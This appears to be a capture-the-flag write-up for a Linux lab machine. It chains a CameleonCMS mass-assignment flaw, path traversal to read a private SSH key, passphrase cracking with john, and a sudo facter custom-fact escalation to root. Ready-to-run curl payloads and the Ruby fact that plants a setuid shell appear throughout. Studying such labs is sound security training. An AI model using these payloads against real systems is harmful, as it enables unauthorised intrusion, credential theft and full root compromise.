Machine Info

  • Name: Facts
  • IP: 10.129.2.144
  • OS: Linux (Ubuntu)
  • Difficulty: Easy
  • Key Skills: CameleonCMS CVE Exploitation, Mass Assignment, Path Traversal, SSH Key Cracking, Facter Privilege Escalation

Summary

Facts is a Linux machine running CameleonCMS 2.9.0 (Ruby on Rails) with a MinIO/LocalStack S3 backend for media storage. Open user registration with CAPTCHA allows creating a low-privilege account. CVE-2025-2304 (mass assignment via permit!) escalates the account to admin by injecting password[role]=admin into the profile update endpoint. With admin access, CVE-2024-46987 (path traversal in download_private_file) reads arbitrary files from the server, including an encrypted SSH private key. Cracking the key passphrase with john and rockyou.txt yields SSH access as trivia. A sudo misconfiguration allowing /usr/bin/facter with NOPASSWD enables Ruby code execution as root via custom facts.

Attack Chain:

Register -> CVE-2025-2304 (admin) -> CVE-2024-46987 (file read) -> SSH key -> john (dragonballz) -> SSH as trivia -> sudo facter -> root

Reconnaissance

Port Scan

nmap -sC -sV -p- 10.129.2.144

Key open ports:

Port Service Details
22 SSH OpenSSH
80 HTTP nginx 1.26.3 / CameleonCMS 2.9.0

Visiting http://facts.htb reveals a CameleonCMS instance themed around random facts. The registration page is open with a visual CAPTCHA.

Service Architecture

Reading the nginx configuration via the file read vulnerability later reveals the internal layout:

Port 80  -> nginx reverse proxy
Port 3000 -> Rails (CameleonCMS) as user trivia
Port 54321 -> MinIO/LocalStack S3 (as root)

The /randomfacts/ path proxies to MinIO for serving uploaded media.


Initial Access - User Registration and Privilege Escalation

Account Registration

CameleonCMS allows user registration at /admin/register with a 5-character visual CAPTCHA. Registering creates a low-privilege “Client” role account.

CVE-2025-2304 - Mass Assignment Privilege Escalation

CameleonCMS 2.9.0 uses permit! in the updated_ajax method of the UsersController, which allows ALL parameters through without filtering. By including password[role]=admin in the password change request, any authenticated user can escalate to administrator.

Step 1: Login and get profile edit page

# Extract CSRF token and user ID from profile edit page
curl -sk -b cookies.txt "http://facts.htb/admin/profile/edit"

Step 2: Send the mass assignment payload

The critical difference from a normal password change is the password[role]=admin parameter:

curl -sk -b cookies.txt -X POST \
  -H "X-CSRF-Token: <csrf_token>" \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "_method=patch \
      &authenticity_token=<csrf_token> \
      &password[password]=Password123! \
      &password[password_confirmation]=Password123! \
      &password[role]=admin" \
  "http://facts.htb/admin/users/<user_id>/updated_ajax"

The response is 200 OK and the role changes from client to admin. Full CMS admin panel access is now available.


File Read - CVE-2024-46987

Path Traversal in download_private_file

With admin access, the download_private_file method in CameleonCMS MediaController allows reading arbitrary files via directory traversal:

curl -sk -b cookies.txt \
  "http://facts.htb/admin/media/download_private_file?file=../../../../etc/passwd"

Key Files Extracted

System users:

root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000::/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

User flag:

curl -sk -b cookies.txt \
  "http://facts.htb/admin/media/download_private_file?file=../../../../home/william/user.txt"

Trivia’s SSH private key:

curl -sk -b cookies.txt \
  "http://facts.htb/admin/media/download_private_file?file=../../../../home/trivia/.ssh/id_ed25519"

The key is encrypted with aes256-ctr and bcrypt KDF.


SSH Access - Key Passphrase Cracking

Converting and Cracking the Key

The SSH key is passphrase-protected. Using ssh2john from John the Ripper (jumbo) to convert it to a crackable format:

ssh2john trivia_key > trivia_hash.txt

The hash shows bcrypt KDF with 24 rounds - relatively fast to crack:

john --wordlist=/usr/share/wordlists/rockyou.txt trivia_hash.txt
dragonballz      (trivia_key)

SSH Login

ssh -i trivia_key [email protected]
# Passphrase: dragonballz
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

Privilege Escalation - Facter Custom Facts

Sudo Misconfiguration

trivia@facts:~$ sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Facter Ruby Code Execution

Facter is Puppet’s system fact collection tool, written in Ruby. It loads custom facts from Ruby files. While env_reset blocks the FACTERLIB environment variable, facter’s --custom-dir flag is passed directly as a command argument and is not blocked by sudo.

Step 1: Create a custom fact with arbitrary Ruby code

mkdir -p /tmp/facts
cat > /tmp/facts/root.rb << 'RUBY'
Facter.add(:rootflag) do
  setcode do
    Facter::Core::Execution.execute('cat /root/root.txt')
  end
end
RUBY

Step 2: Execute via sudo facter

sudo /usr/bin/facter --custom-dir /tmp/facts rootflag

The root flag is returned directly.

Getting a Root Shell

For a full root shell instead of just command execution:

Facter.add(:shell) do
  setcode do
    Facter::Core::Execution.execute('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')
  end
end
sudo /usr/bin/facter --custom-dir /tmp/facts shell
/tmp/rootbash -p
rootbash-5.1# id
uid=1000(trivia) gid=1000(trivia) euid=0(root) egid=0(root) groups=0(root),1000(trivia)

Lessons Learned

  1. Mass assignment remains a critical vulnerability - CameleonCMS 2.9.0 used permit! which bypasses all parameter filtering, allowing role escalation with a single extra field in a password change request.
  2. Path traversal in file download endpoints is a common pattern in CMS applications that handle media files. Always validate and sanitize file path parameters.
  3. Encrypted SSH keys are only as strong as their passphrase - dragonballz falls to a dictionary attack in under a minute despite bcrypt KDF.
  4. Facter’s --custom-dir bypasses env_reset - Even when FACTERLIB is blocked by sudo’s env_reset, the --custom-dir command-line flag achieves the same result, loading arbitrary Ruby code that executes as root.
  5. S3-compatible storage on localhost (MinIO/LocalStack) running as root alongside a web application creates a complex attack surface where file read vulnerabilities can access configuration and credentials.